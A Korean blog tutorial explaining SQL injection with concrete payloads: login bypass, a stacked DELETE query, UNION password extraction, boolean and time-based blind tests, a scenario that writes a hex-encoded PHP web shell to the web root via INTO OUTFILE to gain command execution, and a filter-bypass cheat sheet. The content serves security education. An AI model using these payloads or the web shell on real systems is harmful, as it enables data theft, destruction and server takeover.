본문으로 바로가기

SQL Injection

category 웹 공격 기법들/SQL Injection 2021. 1. 1. 23:33

SQL Injection?

웹 애플리케이션이 데이터베이스와 연동하는 모델에서 발생 가능하다.

이용자의 입력값이 SQL 구문의 일부로 사용될 경우, 해커에 의해 조작된 SQL 구문이 데이터베이스에  그대로 전달되어 비정상적인 DB 명령을 실행시키는 공격 기법이다.

 

[출처: 행정안전부 시큐어 코딩 가이드]

 

 

SQL 구문을 잘 알지못한다면 아래의링크를 통해 먼저 알아보고 오자

https://wpgur.tistory.com/43

 

DATABASE의 이해와 SQL 쿼리의 개념

DATABASE란? 여러 사람이 공유하여 사용할 목적으로 체계화해 통합, 관리하는 데이터의 집합이다. 작성된 목록으로써 여러 응용 시스템들의 통합된 정보들을 저장하여 운영할 수 있는 공용 데이

wpgur.tistory.com

 

SQL 동작 원리

 

먼저 DB의 Table 구성은 아래와 같이 구성이 되어있다고 가정한다.

table 구성

다음과 같이 로그인을 처리하는 동적쿼리가 있다고 가정하자.

SQL = "Select * From member Where id = '" + UserId + "' And pw = '" + Password + "'"

 

이 동적 쿼리에 id값으로 admin을 넣고 pw값으로 1234를 입력한다면 다음과 같이 쿼리가 완성된다.

SQL = "Select * From member Where id = 'admin' And pw = '1234'"

이와 같이 SQL 구문이 완성 되면 해당되는 값이 존재할시 로그인이 되게 된다.

 

 

SQL Injection의 유형

1.논리적 에러를 이용하는 SQL Injection

Where 구문은 SQL에서 조건을 기술하는 구문이다. Where 조건에 기술된 구문이 '참(true)'이 되는 범위만 쿼리 결과로 반환된다. 해커는 이 Where 조건이 무조건 참이 되도록 쿼리를 조작하여 Where 조건을 우회하게 만든다.

 

 

1) or , '

Password 값에 참(true)인 조건이 or 로 연결되도록 삽입하면 or 조건으로 인해 쿼리의 결과가 무조건 참이되어 없는 계정과 다른 패스워드라 할지라도 (여기서는 test라는 계정은 실제 db에 없는 계정임) 인증을 통과하게 된다.


[ 외부 입력값 ]
id: test
pw: 1234' or '1'='1

실행되는 쿼리문 ]
Select * From member Where id = 'test' And pw = '1234' or '1'='1'

 

 

2) ;(콜론)

직접 데이터베이스 내용을 조작할 수도 있다. 다음과 같이 ;(콜론)으로 명령어를 연결하면 한 줄로 된 두 개이상의 명령어를 연속해서 기입할 수 있는데 여기에 테이블을 삭제하거나 수정하는 조작된 쿼리문을 삽입할 수 있다.

 

[ 외부 입력값 ]
id: admin' ; DELETE From Users--
pw: 아무값

실행되는 쿼리문 ]
Select * From member Where id = 'admin' ; DELETE From Users --' And pw = '아무값'

 

 

주석으로 쓰이는 문자

1) %23 (#을 의미함. url에서 사용할 때는 %23으로 사용한다)
2) -- -
3) ; (세미콜론 뒤 널바이트를 넣게 되면 주석으로 사용할 수 있습니다.
4) /*(주석처리할 내용)*/


2.Error Base SQL Injection

DB 에러값을 기반으로 한 단계씩 점진적으로 DB정보를 획득할 수 있는 방법

 

[ 외부 입력값 ]
id: admin" order by 1 --
pw: 아무값

실행되는 쿼리문 ]
Select * From member Where id = "admin" order by 1 --' And pw = '아무값'

 

에러를 통해 칼럼의 개수가 3개인것을 알 수 있는 모습

다음과 같이 에러를 통해 칼럼의 개수가 3개인것을 알 수 있다. 이는 union 공격에 유용하게 쓰인다.

 

 



 

2.Union SQL Injection

Union : 두개 이상의 쿼리를 요청해 결과를 얻는 SQL 연산자

-> union의 query 결과와 기존 query의 결과의 row수가 같아야함

 

- 두개 이상의 쿼리를 사용한다는 점을 이용해 공격자가 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 획득하는 기법

 

[ 외부 입력값 ]
id: admin' union select 1,1,(select pw from member where id='naver') --
pw: 아무값

실행되는 쿼리문 ]
Select * From member Where id = 'admin' union select 1,1,(select pw from member where id='naver') --' And pw = '아무값'

 

union을 이용하여 naver의 비밀번호를 얻는 모습

칼럼의 수를 맞춰준뒤 union을 이용하면 원하는 값을 얻을수 있다.

 

 

 

3.Blind SQL Injection

앞서 일반적인 SQL 인젝션 공격에서는 쿼리 조건을 무력화하여 인증을 우회하거나, 출력된 에러 내용에 기반하여 DB의 스키마 정보를 획득한 후, 쿼리 결과에 정보를 붙여서(UNION) 데이터를 유출하거나 시스템 명령어를 삽입하는 형태로 공격이 진행되었다.

 

만일 공격하는 대상 웹페이지가 어떠한 오류도 출력하지 않고 쿼리 결과 리스트도 제공하지 않는다면 이러한 공격 패턴으로는 해킹에 성공하기가 쉽지 않다. (다시말해, 에러 내용으로 DB 정보를 유추할 수도 없고, 쿼리 결과 데이터를 제공하지 않기 때문에 UNION 같은 쿼리를 삽입하여 데이터를 붙여 볼 수도 없는 것이다.)

이럴 경우, 유용하게 사용할 수 있는 공격 기법이 바로 Blind SQL 인젝션이다. 

한마디로, 임의의 SQL 쿼리를 이용해 정보를 얻어내는 것은 일반적인 SQL Injection과 비슷하나 쿼리 결과에 따른 서버의 반응을 통해 공격하는 기법이다.

이 공격을 수행하려면, 먼저 웹 애플리케이션에서 쿼리 결과에 대해 참/거짓을 반환하는 요소를 찾아야 한다. 예를 들어 'ID 찾기'나 '게시판 검색'과 같은 기능에서 참/거짓을 판별하는 요소를 찾을 수 있다.

- SUBSTR함수나 ASCII 함수, Limit을 이용하는 방법이 있음

 

 

1) Boolean-based Blind 공격

다음과 같이 참/거짓의 반환을 테스트 해 볼 수 있다.

[ 외부 입력값 ]
id: admin' and ASCII(LEFT((SELECT pw From member WHERE id = 'admin'), 1)) =49 --
pw: 아무값

실행되는 쿼리문 ]
Select * From member Where id = 'admin' and ASCII(LEFT((SELECT pw From member WHERE id = 'admin'), 1)) =49 --' And pw = '아무값'

 

pw의 첫번째 값이 아스키코드 값으로 49(숫자 1)임을 확인 하는 모습

 

select if를 활용하는것도 방법이다.

 

 

2) Time-based Blind 공격

시간을 지연시키는 쿼리를 주입하여 응답 시간의 차이로 참/거짓 여부를 판별할 수 있다.

[ 외부 입력값 ]
id: admin' and sleep(5) --
pw: 아무값

실행되는 쿼리문 ]
Select * From member Where id = 'admin' and sleep(5) --' And pw = '아무값'

 

admin이란 값이 존재하면 5초가 지연되는 모습

 

 

 

4. OUTFILE & LOAD_FILE SQL Injection

파일을 읽고 쓰는 쿼리를 사용해 내부 파일을 읽고 쓸수 있다

->권한이 같아야 정상동작 한다.

 

 

select 0x41 into outfile '/tmp/bbbb';

select load_file('/tmp/bbbb');

 

파일을 읽고 쓰는 모습

 

+ 활용(get 쉘 시나리오)

 

1.웹 서버의 디렉토리를 파악한다.

 

https://주소?id='admin' union select 1, load_file("etc/apache2/sites available/000-default.conf"),1 #;

 

2.루트 디렉토리에 시스템명령어를 실행해주는 php를 넣어준다. (ex. /var/www/html )

 

python>>> "<?php system($_GET['c']);?>".encode("hex")
=>'3c3f7068702073797374656d28245f4745545b2763275d293b3f3e"
https://주소?id='admin' union select 0x3c3f7068702073797374656d28245f4745545b2763275d293b3f3e,1,1 into outfile '/var/www/html/cmd3.php' #

 

3.쉘 얻기

https://주소/cmd3.php?c=ls -al

 

 

SQL Injection(우회 기법)

- or, and

 

||, &&

 

 

- String Filtering (Ex. preg_match - admin 등)

admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

 


* char()의 경우 타 진법으로도 사용 가능

 

 

- Blind SQL Injection 시 '='(Equal) Filtering

substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')

 

 

- substr filtering

 

 

right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)

 

 

- ereg, eregi

'admin' 필터링 시 'AdmIN' 등으로 우회 가능

 

맨 앞에 %00을 삽입 시 뒤의 문자가 필터링 되지 않음

 

 

- replace, replaceAll

'admin' 필터링 시 'adadminmin' 등으로 우회 가능

 

- numeric character filtering

0 -> '!'='@'

 

1 -> '!'='!' 등으로 true, false 및 수식을 이용하여 숫자를 표현 가능

 

 

- White Space Filtering (%20)

 

 

%20 -> %0a %0b %0c %0d %09

 

 

- Single Quote Filtering (%27)

Single Quote 안에서 Double quote를 쓰면 해결되는 경우도 있음

특수한 조건에서 %bf%27 로 Multibyte를 만들어 필터링을 우회할 수도 있음 (하지만 거의 없는 경우)

'\' 백슬래시 문자가 필터링 되어있지 않은 경우 다음과 같은 상황에서 우회 가능

ex. select test1 from test where id='\' and pw=' or 1#

 

-> parameter : id=\&pw=%20or%201%23

 

 

- 주석

 

#, --, ;%00, /* */

 

 

- 주석을 이용한 SQL Injection

'#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나뉘기 때문에 아래 예제와 같은 SQL Injection을 수행할 수 있다.

* select test1 from test where id='abc'~~#~~~~ and pw=~~~~'%0a~~ or id='admin'%23

/* */

 

* select test1 from test where id='abc'~~/*~~~~ and pw='~~~~'*/~~ or id='admin'%23

 

 

- Blind SQL Injection 시 sub query의 결과로 여러 row가 나오는데 where 문을 쓸 수 없을 때

 

max(column_name), min(column_name), group_concat(column_name)

 

 

- 테이블명, 컬럼명을 알아내야 할 때

select test1 from test where id='admin' and pw='1234' procedure analyse();

 

* limit 2,1 등과 함께 사용하여 필요한 컬럼 명을 한 줄로 뽑아낼 수 있음

 

 

- Error Based SQL Injection 할 때

 

0xfffffffffffff*0xfffffffffffff 를 하면 Integer 범위 초과 에러가 발생한다

 

 

- MultiByte Character SQL Injection

'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.

* substr(hex(test1),1,1)=0x41

 

※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.

 

 

- SQL Injection이 먹히는지 알아볼 때

  • '(싱글쿼터)를 썼을 때 에러가 나는지
  • ' and '1'='1 , ' and '1'='2 를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
  • ' or '1'='1 을 썼을 때 정상적으로 출력되는 지
  • 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지
  • '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )
  • 주석을 쓸때는 #(%23), -- (--%20), %0a

 

 

참고: m.mkexdev.net/427